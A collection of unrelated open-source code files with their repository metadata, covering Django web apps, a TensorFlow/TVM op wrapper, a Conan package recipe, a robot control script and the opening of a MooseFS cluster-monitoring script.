# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
"""Module container of TensorFlow TVMDSO op"""
import tensorflow as tf
from tensorflow.python.framework import load_library
from tensorflow.python import platform
class OpModule:
"""Module container of TensorFlow TVMDSO op which wraps exported
TVM op implementation library to be called on TensorFlow side"""
def __init__(self, lib_path):
self.lib_path = lib_path
def func(self, name, output_dtype=None, output_shape=None):
"""Get tvm op function wrapped as TensorFlow tensor to tensor function
Parameters
----------
name: str
function name
output_dtype: str or TensorFlow datatype
Output datatype, default is float32
output_shape: List of integer/tf scalar tensor or tf shape tensor
Output shape, default the same with first input's shape
Returns
----------
Func object that acts as TensorFlow tensor to tensor function.
"""
return TensorFunc(self.lib_path, name, output_dtype, output_shape)
def __getitem__(self, func_name):
return self.func(func_name)
class TensorFunc:
"""Function object that acts as TensorFlow tensor to tensor function."""
def __init__(self, lib_path, func_name, output_dtype, output_shape):
self.lib_path = lib_path
self.func_name = func_name
self.output_dtype = output_dtype
# const(0) indicate invalid dynamic shape
self.dynamic_output_shape = tf.constant(0, tf.int64)
self.static_output_shape = None
self.has_static_output_shape = False # extra flag is required
if self._is_static_shape(output_shape):
self.static_output_shape = output_shape
self.has_static_output_shape = True
elif output_shape is not None:
self.dynamic_output_shape = self._pack_shape_tensor(output_shape)
self.module = self._load_platform_specific_library("libtvm_dso_op")
self.tvm_dso_op = self.module.tvm_dso_op
def apply(self, *params):
return self.tvm_dso_op(
params,
dynamic_output_shape=self.dynamic_output_shape,
static_output_shape=self.static_output_shape,
has_static_output_shape=self.has_static_output_shape,
lib_path=self.lib_path,
func_name=self.func_name,
output_dtype=self.output_dtype,
)
def __call__(self, *params):
return self.apply(*params)
def _load_platform_specific_library(self, lib_name):
system = platform.system()
if system == "Darwin":
lib_file_name = lib_name + ".dylib"
elif system == "Windows":
lib_file_name = lib_name + ".dll"
else:
lib_file_name = lib_name + ".so"
return load_library.load_op_library(lib_file_name)
def _is_static_shape(self, shape):
if shape is None or not isinstance(shape, list):
return False
for dim_value in shape:
if not isinstance(dim_value, int):
return False
if dim_value < 0:
raise Exception(f"Negative dimension is illegal: {dim_value}")
return True
def _pack_shape_tensor(self, shape):
if isinstance(shape, tf.Tensor):
if shape.dtype == tf.int32:
shape = tf.cast(shape, tf.int64)
elif isinstance(shape, list):
shape_dims = []
for dim_value in shape:
if isinstance(dim_value, int):
shape_dims.append(tf.constant(dim_value, tf.int64))
elif isinstance(dim_value, tf.Tensor) and dim_value.shape.rank == 0:
if dim_value.dtype == tf.int32:
dim_value = tf.cast(dim_value, tf.int64)
shape_dims.append(dim_value)
else:
raise TypeError("Input shape dimension is neither scalar tensor nor int")
shape = tf.stack(shape_dims)
else:
raise TypeError("Input shape is neither tensor nor list")
return shape
|
[
"noreply@github.com"
] |
noreply@github.com
|
73d44a4621b45f3fc45f7f4bb1d25c04d464346a
|
3b1e33faed6cc7f663cfb93b9277aaf3faaa8d21
|
/firstapp/migrations/0001_initial.py
|
8e9f9a2dd977a7a0e4660910859e33d5e2105868
|
[
"MIT"
] |
permissive
|
moff4/django-raw-sql
|
c2aab15cd82f874977568018057dbf71afad2c93
|
396cf477c7096d6f8ac17c501c6f2a607b7904e0
|
refs/heads/master
| 2023-05-24T15:27:14.172604
| 2021-06-20T09:51:28
| 2021-06-20T09:51:28
| 371,930,362
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 519
|
py
|
# Generated by Django 3.2.3 on 2021-05-28 21:14
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Contact',
fields=[
('id', models.IntegerField(auto_created=True, primary_key=True, serialize=False)),
('name', models.TextField(max_length=255)),
('age', models.IntegerField()),
],
),
]
|
[
"a.komissarov@city-mobil.ru"
] |
a.komissarov@city-mobil.ru
|
22705174c565fe970562456cbb66189060b71534
|
f71dce819dcaac555fb596d7cf67dd9bace75f78
|
/loclib/bin/django-admin.py
|
817c09159fc9f1cb9fa737f3e4b5188db189deaf
|
[
"CC0-1.0"
] |
permissive
|
jspringer/django-library-catalog
|
6f24a5761d13e447d25641355de8ac00227b6495
|
ed3c96a678c3b16a4fd2f1dce03afe4465c4577e
|
refs/heads/master
| 2023-01-15T19:16:44.095012
| 2019-06-27T04:02:52
| 2019-06-27T04:02:52
| 181,389,081
| 0
| 0
|
CC0-1.0
| 2022-12-26T20:39:12
| 2019-04-15T01:06:43
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 177
|
py
|
#!/Users/j/Development/Projects/django-locallibrary/loclib/bin/python3
from django.core import management
if __name__ == "__main__":
management.execute_from_command_line()
|
[
"jsnsprngr@gmail.com"
] |
jsnsprngr@gmail.com
|
9af0ee17ad87c5303e7a84b1cf5702a122cf4675
|
60f2cec35ff47706420827d359b3a7eacb176715
|
/lexical_tagger/trie.py
|
04a6a2dd1b4895d7139bd5c27b24b4968cfba2dd
|
[] |
no_license
|
dahuerfanov/NER-System
|
122771d46828931bd0ba1bf2745b239731e17d8e
|
5ba7c16fb5afcbb130189d0d9e99486c32372486
|
refs/heads/master
| 2023-02-27T15:38:04.350890
| 2021-02-05T00:39:59
| 2021-02-05T00:39:59
| 333,581,429
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,315
|
py
|
import numpy as np
class Trie:
def __init__(self, tagscnt):
self.tagscnt = tagscnt
self.root = TrieNode(tagscnt)
self.maxlen = 0
def add_word(self, w, tag, min_prefix=-1):
if min_prefix < 0:
min_prefix = len(w) - 1
node = self.root
self.maxlen = max(len(w), self.maxlen)
for i in range(len(w)):
if not w[i] in node.children:
node.children[w[i]] = TrieNode(self.tagscnt)
node = node.children[w[i]]
if i >= min_prefix:
node.isfinal = True
node.tagcnt[tag] += 1
if node.tagcnt[tag] > node.tagcnt[node.maxidx]:
node.maxidx = tag
def get_tag(self, w, min_prefix=-1):
if min_prefix < 0:
min_prefix = len(w) - 1
node = self.root
for i in range(len(w)):
if w[i] in node.children:
node = node.children[w[i]]
else:
return -1
if i >= min_prefix:
if node.isfinal:
return node.maxidx
return -1
class TrieNode:
def __init__(self, n):
self.isfinal = False
self.maxidx = 0
self.tagcnt = np.zeros(shape=n, dtype=int)
self.children = dict()
|
[
"dahuerfanov@gmail.com"
] |
dahuerfanov@gmail.com
|
3ff57393ce92ae30f58a4966be8cbeb1900cace3
|
790e79aa516c024a5f9fadf2932a37e316416617
|
/blog/migrations/0001_initial.py
|
cc2e07d6d71c9ce29ecc8c781a3f07d3f7cef44c
|
[] |
no_license
|
jeannedelaban/my-first-blog
|
6529af5eec64d44ae43bdeff3a9d7e5884d1aa34
|
d078913d25009958ffc23fd8e8838d3640a83f88
|
refs/heads/master
| 2021-01-20T19:30:44.483606
| 2016-06-04T15:25:51
| 2016-06-04T15:25:51
| 60,417,010
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,050
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-06-04 14:07
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='post',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=200)),
('text', models.TextField()),
('created_date', models.DateTimeField(default=django.utils.timezone.now)),
('published_date', models.DateTimeField(blank=True, null=True)),
('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
]
|
[
"jeanne.delaban@yahoo.fr"
] |
jeanne.delaban@yahoo.fr
|
99ff4a6158be8b19c3d930f48b992a4d03a2d9cc
|
730b1e4b20ae1a7e43e8d8b7276ef7808a4c603a
|
/randomized.py
|
2c922bc7e66c37bccd61f5534e03b6a3d13d4b98
|
[] |
no_license
|
SuperFranklin/central-vertex-random-alg
|
157bb17a5aa70e7b022ca44757400410471c0cce
|
e2457e4dcc4a531e3cc1e8c242de64ccd4dfdeae
|
refs/heads/master
| 2022-07-25T03:42:27.603477
| 2020-05-17T12:54:53
| 2020-05-17T12:54:53
| 264,665,055
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 739
|
py
|
from dijkstra import dijkstra
import random
def findRandomizedCenter(graph):
executions = 0
paths = dict()
graph.keys()
totalMin = 5000
k = random.sample(list(graph.keys()), len(graph))
print(k)
for v1 in k:
max = 0
l = random.sample(list(graph.keys()), len(graph))
for v2 in l:
if (v1 != v2):
dist = dijkstra(graph, v1, v2)
executions = executions + 1
if dist > max:
max = dist
if max > totalMin:
break
paths[max] = v1
if max < totalMin:
totalMin = max
center = v1
print("dijkstra executions: ", executions)
return center
|
[
"franciszek.slupski@supermemo.com"
] |
franciszek.slupski@supermemo.com
|
4adfee636c7c39e8dbd23fcae6a9ce94429d8329
|
6875f4f3bcd435bcd66328eee777318be283931c
|
/food_review_website_ZMH/foodrepublic/reviews/views.py
|
97c2bab660f159e58bcba71a04e29f1f7c920caf
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
MOMOMOMOMOMOKO/FoodReview
|
5dcd4e443e5ae7c0c6ae86b42aac88191af1e2b9
|
589a255908c94263ee472b887b52f3a7c8601d69
|
refs/heads/master
| 2020-05-02T11:24:00.157922
| 2019-07-05T13:58:46
| 2019-07-05T13:58:46
| 177,928,027
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,079
|
py
|
from django.shortcuts import get_object_or_404, render
from django.http import HttpResponseRedirect
from django.core.urlresolvers import reverse
from django.contrib.auth.models import User
from .models import Review, Food, Cluster
from .forms import ReviewForm
from .suggestions import update_clusters
import datetime
from django.contrib.auth.decorators import login_required
def review_list(request):
latest_review_list = Review.objects.order_by('-pub_date')[:9]
context = {'latest_review_list':latest_review_list}
return render(request, 'reviews/review_list.html', context)
def review_detail(request, review_id):
review = get_object_or_404(Review, pk=review_id)
return render(request, 'reviews/review_detail.html', {'review': review})
def wine_list(request):
wine_list = Food.objects.order_by('-name')
context = {'food_list':wine_list}
return render(request, 'reviews/wine_list.html', context)
def wine_detail(request, wine_id):
wine = get_object_or_404(Food, pk=wine_id)
form = ReviewForm()
return render(request, 'reviews/wine_detail.html', {'food': wine, 'form': form})
@login_required
def add_review(request, wine_id):
wine = get_object_or_404(Food, pk=wine_id)
form = ReviewForm(request.POST)
if form.is_valid():
rating = form.cleaned_data['rating']
comment = form.cleaned_data['comment']
user_name = request.user.username
review = Review()
review.wine = wine
review.user_name = user_name
review.rating = rating
review.comment = comment
review.pub_date = datetime.datetime.now()
review.save()
update_clusters()
# Always return an HttpResponseRedirect after successfully dealing
# with POST data. This prevents data from being posted twice if a
# user hits the Back button.
return HttpResponseRedirect(reverse('reviews:wine_detail', args=(wine.id,)))
return render(request, 'reviews/wine_detail.html', {'food': wine, 'form': form})
def user_review_list(request, username=None):
if not username:
username = request.user.username
latest_review_list = Review.objects.filter(user_name=username).order_by('-pub_date')
context = {'latest_review_list':latest_review_list, 'username':username}
return render(request, 'reviews/user_review_list.html', context)
@login_required
def user_recommendation_list(request):
# get request user reviewed wines
user_reviews = Review.objects.filter(user_name=request.user.username).prefetch_related('food')
user_reviews_wine_ids = set(map(lambda x: x.wine.id, user_reviews))
# get request user cluster name (just the first one righ now)
try:
user_cluster_name = \
User.objects.get(username=request.user.username).cluster_set.first().name
except: # if no cluster assigned for a user, update clusters
update_clusters()
user_cluster_name = \
User.objects.get(username=request.user.username).cluster_set.first().name
# get usernames for other memebers of the cluster
user_cluster_other_members = \
Cluster.objects.get(name=user_cluster_name).users \
.exclude(username=request.user.username).all()
other_members_usernames = set(map(lambda x: x.username, user_cluster_other_members))
# get reviews by those users, excluding wines reviewed by the request user
other_users_reviews = \
Review.objects.filter(user_name__in=other_members_usernames) \
.exclude(wine__id__in=user_reviews_wine_ids)
other_users_reviews_wine_ids = set(map(lambda x: x.wine.id, other_users_reviews))
# then get a wine list including the previous IDs, order by rating
wine_list = sorted(
list(Food.objects.filter(id__in=other_users_reviews_wine_ids)),
key=lambda x: x.average_rating,
reverse=True
)
return render(
request,
'reviews/user_recommendation_list.html',
{'username': request.user.username,'wine_list': wine_list}
)
|
[
"noreply@github.com"
] |
noreply@github.com
|
c49e8906d36bc54723cfef8165b3fb60fbfb66c0
|
f5d6e6e7a01b0c5576357d8b041dfe3dda23a6b4
|
/assignment/assignment08_Diary3/diaryApp/migrations/0001_initial.py
|
0ac1208c5d06520fc60bad9e0226e0b3ae2aceab
|
[] |
no_license
|
soeunkk/2021LikeLion
|
104937de8a9d0fc60bd3ddbefe8dc0083f0f1e1e
|
eac8345b2181405a54e91fce62cf88969bccfa1d
|
refs/heads/master
| 2023-07-17T02:44:07.135465
| 2021-08-27T04:27:11
| 2021-09-08T14:19:50
| 355,162,132
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 572
|
py
|
# Generated by Django 3.2.2 on 2021-05-12 19:34
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Diary',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=200)),
('pub_date', models.DateTimeField(verbose_name='data published')),
],
),
]
|
[
"luckyber1@naver.com"
] |
luckyber1@naver.com
|
aff6eb12a9c046c046903c6fa320eeddea843a0f
|
e216a3e62e57077d40b35ccf50f5dd7cbdc0636a
|
/hamropasal/urls.py
|
bd7fd11216716dc06a8cc0cea49b37e32fbdf846
|
[] |
no_license
|
Gcool05/hamropasal
|
e7bb16829c0a43c55eb00a811d58d3132f135893
|
290431f98691639581507879fe4552ee55070071
|
refs/heads/master
| 2020-06-18T23:44:13.863827
| 2016-12-09T03:32:18
| 2016-12-09T03:32:18
| 74,934,018
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 851
|
py
|
"""hamropasal URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url
from django.contrib import admin
from categories.views import get_categories
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^categories/',get_categories)
]
|
[
"gokulbhatt05@gmail.com"
] |
gokulbhatt05@gmail.com
|
d5a2f49110fd363deb27708c646b22143667b47c
|
5e381364c2ab31ff3618369085afffba6caa8edb
|
/recipes/xtr/all/conanfile.py
|
e4caa905f0a2d8e333cbaa86e7345766dda819a1
|
[
"MIT"
] |
permissive
|
CAMOBAP/conan-center-index
|
16aea68a6d22da22831ba985773125e8eda08f00
|
67d57532bdad549fef3fa6cb8fcdfa86bc55e4f1
|
refs/heads/master
| 2023-07-30T08:58:57.285571
| 2021-10-02T14:57:54
| 2021-10-02T14:57:54
| 323,262,699
| 1
| 0
|
MIT
| 2021-05-29T13:37:04
| 2020-12-21T07:30:02
|
Python
|
UTF-8
|
Python
| false
| false
| 3,685
|
py
|
from conans import ConanFile, AutoToolsBuildEnvironment, tools
from conans.errors import ConanInvalidConfiguration
import os
class XtrConan(ConanFile):
name = "xtr"
description = \
"C++ Logging Library for Low-latency or Real-time Environments"
topics = ("xtr", "logging", "logger")
url = "https://github.com/conan-io/conan-center-index"
homepage = "https://github.com/choll/xtr"
license = "MIT"
settings = "os", "arch", "compiler", "build_type"
options = {
"fPIC": [True, False],
"enable_exceptions": [True, False],
"enable_lto": [True, False],
}
default_options = {
"fPIC": True,
"enable_exceptions": True,
"enable_lto": False,
}
generators = "make"
def requirements(self):
self.requires("fmt/7.1.3")
def validate(self):
if self.settings.os not in ("FreeBSD", "Linux"):
raise ConanInvalidConfiguration(f"Unsupported os={self.settings.os}")
if self.settings.compiler not in ("gcc", "clang"):
raise ConanInvalidConfiguration(f"Unsupported compiler={self.settings.compiler}")
if self.settings.arch not in ("x86_64", ):
raise ConanInvalidConfiguration(f"Unsupported arch={self.settings.arch}")
minimal_cpp_standard = 20
if self.settings.compiler.cppstd:
tools.check_min_cppstd(self, minimal_cpp_standard)
minimum_version = {"gcc": 10, "clang": 12}
compiler = str(self.settings.compiler)
version = tools.Version(self.settings.compiler.version)
if version < minimum_version[compiler]:
raise ConanInvalidConfiguration(
f"{self.name} requires {self.settings.compiler} version {minimum_version[compiler]} or later")
def source(self):
tools.get(**self.conan_data["sources"][self.version], strip_root=True)
def build(self):
# FIXME: should be done in validate (but version is not yet available there)
if tools.Version(self.deps_cpp_info["fmt"].version) < 6:
raise ConanInvalidConfiguration("The version of fmt must >= 6.0.0")
if tools.Version(self.deps_cpp_info["fmt"].version) == "8.0.0" and self.settings.compiler == "clang":
raise ConanInvalidConfiguration("fmt/8.0.0 is known to not work with clang (https://github.com/fmtlib/fmt/issues/2377)")
autotools = AutoToolsBuildEnvironment(self)
env_build_vars = autotools.vars
# Conan uses LIBS, presumably following autotools conventions, while
# the XTR makefile follows GNU make conventions and uses LDLIBS
env_build_vars["LDLIBS"] = env_build_vars["LIBS"]
# fPIC and Release/Debug/RelWithDebInfo etc are set via CXXFLAGS,
# CPPFLAGS etc.
env_build_vars["EXCEPTIONS"] = \
str(int(bool(self.options.enable_exceptions)))
env_build_vars["LTO"] = str(int(bool(self.options.enable_lto)))
autotools.make(vars=env_build_vars)
autotools.make(vars=env_build_vars, target="xtrctl")
def package(self):
self.copy("LICENSE", dst="licenses")
self.copy("*.hpp", src="include", dst="include")
self.copy("*/libxtr.a", src="build", dst="lib", keep_path=False)
self.copy("*/xtrctl", src="build", dst="bin", keep_path=False)
tools.rmdir(os.path.join(self.package_folder, "man"))
def package_info(self):
self.cpp_info.libs = ["xtr"]
self.cpp_info.system_libs = ["pthread"]
bin_path = os.path.join(self.package_folder, "bin")
self.output.info(f"Appending PATH environment variable: {bin_path}")
self.env_info.PATH.append(bin_path)
|
[
"noreply@github.com"
] |
noreply@github.com
|
03e2d01099f8601a427ced9e76c0efe84bdc6d95
|
947af25b72b5b3037443fae3fb22fa3a2f1de363
|
/nextgisweb_mapserver/mapfile/keyword_tests.py
|
8857613f74b6be20b27ab8cb8421416a1f7d64c7
|
[] |
no_license
|
guardeivid/nextgisweb_mapserver
|
2b527b160b6cb017ae9c6a663e4171783a9c89d2
|
34376442fe6d56794c32523050ceb338a902228f
|
refs/heads/master
| 2020-03-30T02:50:50.893436
| 2014-04-14T09:19:49
| 2014-04-14T09:19:49
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 528
|
py
|
# -*- coding: utf-8 -*-
from lxml.etree import tostring, fromstring, RelaxNG
from .keyword import registry
def _test_shema(cls):
root = cls.element_schema()
root.set('datatypeLibrary', 'http://www.w3.org/2001/XMLSchema-datatypes')
xml = tostring(root, pretty_print=True)
idx = 1
print ''
for s in xml.split('\n'):
print "%03d: %s" % (idx, s)
idx += 1
print ''
RelaxNG(fromstring(xml))
def test_schema():
for directive in registry:
yield _test_shema, directive
|
[
"me@dezhin.net"
] |
me@dezhin.net
|
7f5d989cb77b8fbbb53231f3820afe5b56fbe207
|
18f0ad99e21e2e35126f8c3c28079d358fa2129a
|
/SnakeBot/buzzer/code.py
|
6488f15e023e6bf5709d147c707884478c919297
|
[
"MIT"
] |
permissive
|
ladyada/Adafruit_Learning_System_Guides
|
9bf18dfa35941e0cbecbb3c2d02b4fa3cb79744f
|
6d76801878cbf65132ccea950dc47ae842c73dcd
|
refs/heads/master
| 2023-08-20T20:30:42.910576
| 2022-01-10T20:28:11
| 2022-01-10T20:28:11
| 115,837,894
| 13
| 2
|
MIT
| 2020-03-31T23:23:45
| 2017-12-31T02:34:47
|
C
|
UTF-8
|
Python
| false
| false
| 2,930
|
py
|
import time
import random
from adafruit_crickit import crickit
LEFT = False
RIGHT = True
random.seed(int(time.monotonic()))
ss = crickit.seesaw
left_wheel = crickit.dc_motor_1
right_wheel = crickit.dc_motor_2
RIGHT_BUMPER = crickit.SIGNAL1
LEFT_BUMPER = crickit.SIGNAL2
CENTER_BUMPER = crickit.SIGNAL3
ss.pin_mode(RIGHT_BUMPER, ss.INPUT_PULLUP)
ss.pin_mode(LEFT_BUMPER, ss.INPUT_PULLUP)
ss.pin_mode(CENTER_BUMPER, ss.INPUT_PULLUP)
# These allow easy correction for motor speed variation.
# Factors are determined by observation and fiddling.
# Start with both having a factor of 1.0 (i.e. none) and
# adjust until the bot goes more or less straight
def set_right(speed):
right_wheel.throttle = speed * 0.9
def set_left(speed):
left_wheel.throttle = speed
# Uncomment this to find the above factors
# set_right(1.0)
# set_left(1.0)
# while True:
# pass
# Check for bumper activation and move away accordingly
# Returns False if we got clear, True if we gave up
def react_to_bumpers():
attempt_count = 0
# keep trying to back away and turn until we're free
while True:
# give up after 3 tries
if attempt_count == 3:
return True
bumped_left = not ss.digital_read(LEFT_BUMPER)
bumped_right = not ss.digital_read(RIGHT_BUMPER)
bumped_center = not ss.digital_read(CENTER_BUMPER)
# Didn't bump into anything, we're done here
if not bumped_left and not bumped_right and not bumped_center:
return False
# If the middle bumper was triggered, randomly pick a way to turn
if bumped_center:
bumped_left |= random.randrange(10) < 5
bumped_right = not bumped_left
# Back away a bit
set_left(-0.5)
set_right(-0.5)
time.sleep(0.5)
# If we bumped on the left, turn to the right
if bumped_left:
set_left(1.0)
set_right(0.0)
# If we bumped on the right, turn left
elif bumped_right:
set_left(0.0)
set_right(1.0)
# time to turn for
time.sleep(random.choice([0.2, 0.3, 0.4]))
attempt_count += 1
def tack(direction, duration):
target_time = time.monotonic() + duration
if direction == LEFT:
set_left(0.25)
set_right(1.0)
else:
set_left(1.0)
set_right(0.25)
while time.monotonic() < target_time:
if not(ss.digital_read(LEFT_BUMPER) and
ss.digital_read(RIGHT_BUMPER) and
ss.digital_read(CENTER_BUMPER)):
return react_to_bumpers()
return False
while True:
if tack(LEFT, 0.75):
break
if tack(RIGHT, 0.75):
break
set_left(0)
set_right(0)
while True:
for _ in range(3):
crickit.drive_2.fraction = 1.0
time.sleep(0.1)
crickit.drive_2.fraction = 0.0
time.sleep(.2)
time.sleep(10.0)
|
[
"dastels@daveastels.com"
] |
dastels@daveastels.com
|
6ede63ea5c8ab4b00d2f83e83c5485e6af375642
|
76e7e5b21d064bdb4c3f1a8e18216197db3c3c6e
|
/ACMICPC/for/printn.py
|
7753e780fed20e18d258f132652dad5c15104e54
|
[] |
no_license
|
googoles/Python_Algorithm
|
f594314aa51deed31008945843f28192916f1577
|
80c2c8ef4c4b617e2adea1fdcc6901109d546781
|
refs/heads/master
| 2022-12-26T16:30:19.579556
| 2020-09-11T14:34:31
| 2020-09-11T14:34:31
| 240,672,932
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 86
|
py
|
#N찍기
import sys
n = int(sys.stdin.readline())
for i in range(n,0,-1):
print(i)
|
[
"46067507+googoles@users.noreply.github.com"
] |
46067507+googoles@users.noreply.github.com
|
fc27b6e21246822f2402db831f14022ea9ad2764
|
486875eeaf2bd38b5b38301518864235f8a467ff
|
/pyvisa_example.py
|
281a4c9e501c561f7b604c1f4b30b8410576fb12
|
[] |
no_license
|
DavidUrz/Examples_python
|
4d1997a5e1f9f2b098708c019d1351876dde8570
|
3eb153c0c9395e73a7a65d324f029bb2c17806a0
|
refs/heads/main
| 2023-04-06T08:22:28.417687
| 2021-04-21T05:30:12
| 2021-04-21T05:30:12
| 359,345,722
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 194
|
py
|
import pyvisa
rm = pyvisa.ResourceManager()
rm.list_resources()
# ('ASRL1::INSTR', 'ASRL2::INSTR', 'GPIB0::12::INSTR')
# inst = rm.open_resource('GPIB0::12::INSTR')
# print(inst.query("*IDN?"))
|
[
"urzua.david@hotmail.com"
] |
urzua.david@hotmail.com
|
e0b18c1f2eaa29f35fc5485ec134be673b0dbbdc
|
382fdb1a75674b8f881e0c86ed4053c0929415bf
|
/App_blog/views.py
|
c8330d25ae429a8769b5e7dcd6d8956dbde32604
|
[] |
no_license
|
preetisrj/myblog_project
|
7db480f49b55715cf644703f26d4c7c834b42685
|
a205d61b04d8ab4ced16e4584a2884cc0a202067
|
refs/heads/master
| 2023-05-27T02:29:30.754650
| 2021-06-16T07:31:27
| 2021-06-16T07:31:27
| 377,412,430
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,975
|
py
|
from django.shortcuts import render, HttpResponseRedirect
from django.views.generic import CreateView, UpdateView, ListView, DetailView,TemplateView, DeleteView
from App_blog.models import Blog, Comment, Likes
from django.utils.text import slugify
from django.urls import reverse, reverse_lazy
from django.contrib.auth.decorators import login_required # def based function
from django.contrib.auth.mixins import LoginRequiredMixin #class based function used
import uuid
from App_blog.forms import CommentForm
# Create your views here.
class Myblogs(LoginRequiredMixin,TemplateView):
template_name = 'App_blog/my_blogs.html'
class UpdateBlog(LoginRequiredMixin,UpdateView):
model = Blog
fields = ('blog_title','blog_content','blog_image')
template_name = 'App_blog/edit_blog.html'
def get_success_url(self, **kwargs):
return reverse_lazy('App_blog:blog_details',kwargs={'slug':self.object.slug})
class Bloglist(ListView):
context_object_name = 'blogs'
model = Blog
template_name = 'App_blog/blog_list.html'
#queryset = Blog.objects.order_by('-publish_date')
class CreateBlog(LoginRequiredMixin,CreateView):
model = Blog
template_name = 'App_Blog/create_blog.html'
fields = ('blog_title','blog_content','blog_image')
def form_valid(self, form):
blog_obj = form.save(commit=False)
blog_obj.author = self.request.user
title = blog_obj.blog_title
blog_obj.slug = title.replace(" ","-") + "-" + str(uuid.uuid4())
blog_obj.save()
return HttpResponseRedirect(reverse('index'))
def blog_details(request, slug):
blog = Blog.objects.get(slug=slug)
comment_form = CommentForm()
already_liked = Likes.objects.filter(blog=blog, user=request.user)
if already_liked:
liked= True
else:
liked = False
if request.method == 'POST':
comment_form = CommentForm(request.POST)
if comment_form.is_valid():
comment = comment_form.save(commit=False)
comment.user = request.user
comment.blog = blog
comment.save()
return HttpResponseRedirect(reverse('App_blog:blog_details',kwargs={'slug':slug}))
return render(request,'App_blog/blog_details.html',context={'blog':blog ,'comment_form':comment_form,'liked':liked})
@login_required
def liked(request,pk):
blog = Blog.objects.get(pk=pk)
user = request.user
already_liked = Likes.objects.filter(blog=blog,user=user)
if not already_liked:
liked_post = Likes(blog=blog, user=user)
liked_post.save()
return HttpResponseRedirect(reverse('App_blog:blog_details',kwargs={'slug':blog.slug}))
@login_required
def unliked(request,pk):
blog = Blog.objects.get(pk=pk)
user = request.user
already_liked = Likes.objects.filter(blog=blog,user=user)
already_liked.delete()
return HttpResponseRedirect(reverse('App_blog:blog_details',kwargs={'slug':blog.slug}))
|
[
"preetisrj@gmail.com"
] |
preetisrj@gmail.com
|
30085ad4b83dedab54382759ab42b36ceb5f7d16
|
ca83423ad74a40e05dd1008428dda8f15c6d58f4
|
/check_mfs.py
|
e32c5957c61af138c437de849a5105ef5867a1e8
|
[] |
no_license
|
bailu/moosefs_monitor
|
1155d657d8d7c8f4627b91698549aebd0d7e55c0
|
8804f02e61a8cbd93c9307c4fcd86f0f2c049dd6
|
refs/heads/master
| 2016-09-11T12:41:01.967925
| 2013-10-18T10:56:19
| 2013-10-18T10:56:19
| 13,675,439
| 5
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 11,568
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import struct
import time
import traceback
import sys
import smtplib
from email.mime.text import MIMEText
from daemon import Daemon
#MooseFS 主控服务器配置
masterhost = '127.0.0.1'
masterport = 9421
mastername = 'MooseFS'
#硬盘容量警告百分比
WARNING_HDD = 90
#重复项通知间隔时间,单位：秒
NOTIFY_INT = 3600
#监控检查间隔时间,单位：秒
SLEEP_TIME = 60;
#############
#要通知给谁，填写email地址
mailto_list=["@email.com"]
#####################
#设置SMTP服务器，用户名、口令以及邮箱的后缀
mail_host="smtp.163.com"
mail_user=""
mail_pass=""
mail_postfix="163.com"
######################
PROTO_BASE = 0
CLTOMA_CSERV_LIST = (PROTO_BASE+500)
MATOCL_CSERV_LIST = (PROTO_BASE+501)
CLTOMA_INFO = (PROTO_BASE+510)
MATOCL_INFO = (PROTO_BASE+511)
CLTOMA_MLOG_LIST = (PROTO_BASE+522)
MATOCL_MLOG_LIST = (PROTO_BASE+523)
CLTOCS_HDD_LIST_V2 = (PROTO_BASE+600)
CSTOCL_HDD_LIST_V2 = (PROTO_BASE+601)
acts = {}
def htmlentities(str):
return str.replace('&','&').replace('<','<').replace('>','>').replace("'",''').replace('"','"')
def mysend(socket,msg):
totalsent = 0
while totalsent < len(msg):
sent = socket.send(msg[totalsent:])
if sent == 0:
raise RuntimeError, "socket connection broken"
totalsent = totalsent + sent
def myrecv(socket,leng):
msg = ''
while len(msg) < leng:
chunk = socket.recv(leng-len(msg))
if chunk == '':
raise RuntimeError, "socket connection broken"
msg = msg + chunk
return msg
def send_mail(sub,content):
'''
sub:主题
content:内容
send_mail("sub","content")
'''
